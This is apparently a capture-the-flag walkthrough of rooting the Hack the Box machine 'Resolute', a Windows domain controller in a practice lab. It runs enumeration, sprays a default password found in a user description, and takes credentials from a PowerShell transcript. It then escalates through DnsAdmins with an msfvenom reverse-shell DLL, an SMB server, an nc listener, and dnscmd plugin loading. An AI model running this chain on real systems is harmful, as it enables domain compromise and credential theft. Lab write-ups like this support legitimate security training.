HTB Resolute Walkthrough

HTB Resolute Walkthrough (nanobyte)

Jun 2, 2020 | nanobyte

In this walkthrough, I will take you through the steps of what I performed to root this machine from Hack the Box penetration testing labs. This was a Windows based OS that was rated as a medium difficulty. To begin, I started with my enumeration of the target machine:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576nmap -sV -sC -O -p- Nmap 7.80 ( ) at 2019-12-12 08:19 CSTNmap scan report for resolute.htb ( is up (0.035s latency).Not shown: 65511 closed portsPORT      STATE SERVICE      VERSION53/tcp    open  domain?88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2019-12-12 14:34:56Z)            135/tcp   open msrpc        Microsoft Windows RPC139/tcp   open netbios-ssn  Microsoft Windows netbios-ssn389/tcp   open ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)445/tcp   open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)     464/tcp   open kpasswd5?593/tcp   open ncacn_http   Microsoft Windows RPC over HTTP 1.0636/tcp   open tcpwrapped3268/tcp  open ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)3269/tcp  open tcpwrapped5985/tcp  open http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found                            9389/tcp  open mc-nmf       .NET Message Framing47001/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0        |_http-title: Not Found49664/tcp open  msrpc     Microsoft Windows RPC49665/tcp open  msrpc     Microsoft Windows RPC49666/tcp open  msrpc     Microsoft Windows RPC49667/tcp open  msrpc     Microsoft Windows RPC49671/tcp open  msrpc     Microsoft Windows RPC49676/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.049677/tcp open  msrpc     Microsoft Windows RPC49688/tcp open  msrpc     Microsoft Windows RPC49957/tcp open  msrpc     Microsoft Windows RPC60579/tcp open  tcpwrapped                                                                                                                                                                              No exact OS matches for host (If you know what OS is running on it, see ).    TCP/IP fingerprint:OS:SCAN(V=7.80%E=4%D=12/12%OT=53%CT=1%CU=40312%PV=Y%DS=2%DC=I%G=Y%TM=5DF24EOS:E8%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=2%ISR=109%CI=I%TS=A)SEQ(SP=101%GOS:CD=1%ISR=109%CI=I%II=I%TS=A)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8OS:NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2OS:000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=Y%QOS:=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=OS:AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%TOS:=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=OS:0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=OS:Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)Network Distance: 2 hopsService Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: mean: 2h47m40s, deviation: 4h37m09s, median: 7m39s| smb-os-discovery:|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)|   Computer name: Resolute|   NetBIOS computer name: RESOLUTE\x00|   Domain name: megabank.local|   Forest name: megabank.local|   FQDN: Resolute.megabank.local|_  System time: 2019-12-12T06:36:03-08:00| smb-security-mode:|   account_used: <blank>|   authentication_level: user|   challenge_response: supported|_  message_signing: required| smb2-security-mode:|   2.02:|_    Message signing enabled and required| smb2-time:|   date: 2019-12-12T14:36:02|_  start_date: 2019-12-12T04:11:37OS and Service detection performed. Please report any incorrect results at .Nmap done: 1 IP address (1 host up) scanned in 622.36 seconds

I also ran enum4linux, which is a powerful tool that can be used against Windows based machines to enumerate and pull information from the target using SAMBA. SAMBA is a implementation of the server message block (SMB) networking protocol which offers file and print services on a Windows machine. To find this information using enum4linux, I ran it with -a option, to perform all simple enumeration against my target:

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647enum4linux -a enum4linux v0.8.9 ( ) on Sun Dec 29 12:15:48 2019 ==========================|    Target Information    | ==========================Target ........... resolute.htbRID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none... =============================|    Users on resolute.htb    | =============================index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail      Name: (null)    Desc: (null)index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/dom>index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela       Name: (null)    Desc: (null)index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette      Name: (null)    Desc: (null)index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika       Name: (null)    Desc: (null)index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire       Name: (null)    Desc: (null)index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude       Name: (null)    Desc: (null)index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by the system.index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia      Name: (null)    Desc: (null)index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null)    Desc: (null)index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domainindex: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo      Name: (null)    Desc: (null)index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Accountindex: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus       Name: (null)    Desc: (null)index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak       Desc: Account created. Password set to Welcome123!index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie      Name: (null)    Desc: (null)index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki        Name: (null)    Desc: (null)index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo        Name: (null)    Desc: (null)index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per  Name: (null)    Desc: (null)index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan  Name: Ryan Bertrand     Desc: (null)index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally        Name: (null)    Desc: (null)index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon        Name: (null)    Desc: (null)index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve        Name: (null)    Desc: (null)index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie       Name: (null)    Desc: (null)index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita       Name: (null)    Desc: (null)index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf  Name: (null)    Desc: (null)index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)    Desc: (null)...

I did go ahead and limit the output from the machine, since there was a ton of output. However, I left the entire output of users found on the box. When I looked over these results, I did discover that there was a set of credentials, marko:Welcome123!. The exclamation point is a part of the password. Now that I had credentials, I began looking for where I could use them. One of my first go to tools is evil-winrm. This is an evil implementation of the WinRM, or Windows Remote Management. It has a ton of features, and should be ready for use, especially with Hack the Box. I attempted to login to Resulute with these credentials:

1evil-winrm -i -p Welcome123! -u marko

And it failed! However, many times when new accounts are created, they are setup with a standard default password. So, I began to use this password against all user accounts which were discovered in the enum4linux enumeration, and found that this password did work for an account, melanie:

1evil-winrm -i -p Welcome123! -u melanie

Awesome! I was now able to log into the machine. Now, I began enumerating the box manually. I found that in the root of C:\, there was a PSTranscripts directory. Enumerating within this directory, I discovered another set of credentials:

123456789cat C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt...PS>CommandInvocation(Invoke-Expression): "Invoke-Expression">> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!...

Now using these credentials, ryan:Serv3r4Admin4cc123!, I opened a new terminal windows and used Evil-WinRM to log in as Ryan:

1evil-winrm -i -p Serv3r4Admin4cc123! -u ryan

Again, I began to manually enumerate the machine. I began by looking over what rights I had as this user, and by running a simple whoami /all command, I discovered I was a part of a very interesting group:

1234567*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all...MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group...

I was logged in as a member of DNS Admins! Doing some Google-Fu, I came across this Medium article to escelate my privileges. First, on my Kali machine, I used msfvenom to create a malicious DLL to inject onto the machine:

1msfvenom -p windows/x64/shell/reverse_tcp LHOST= LPORT=9001 -f dll > shell.dll

I then used impacket’s smb-server to host the newly created DLL, to run from Resolute. Impacket is another tool that will be used a ton on Hack the Box, and should be on your Kali machine. Impacket is a set of Python classes for working with network protocols, and is a great tool to learn for penetration testing. To spawn this smb-server, from the Impacket examples directory:

1impacket-smbserver test /root/Desktop/HTB/Resolute/

And now that the DLL is hosted over SMB, before I can run the attack I have to setup my listener on my Kali box:

1nc -nlvp 9001

I then used dnscmd.exe on Resolute to setup the config to run my malicious DLL, thus returning a privileged shell:

1*Evil-WinRM* PS C:\Windows> dnscmd.exe /config /serverlevelplugindll \\\\test\\shell.dll

All I needed to do was call the Resolute machine to stop and start the process:

12*Evil-WinRM* PS C:\Windows> sc.exe stop dns*Evil-WinRM* PS C:\Windows> sc.exe start dns

And I got a return on my nc listener:

123456789C:\Windows\system32>whoamiwhoamint authority\systemC:\Windows\system32>cd c:\users\administrator\desktopcd c:\users\administrator\desktopc:\Users\Administrator\Desktop>more root.txte1d94876a50685xxxxxxxxxxxxxx

And with that, I had rooted Resolute! Good luck.

Last updated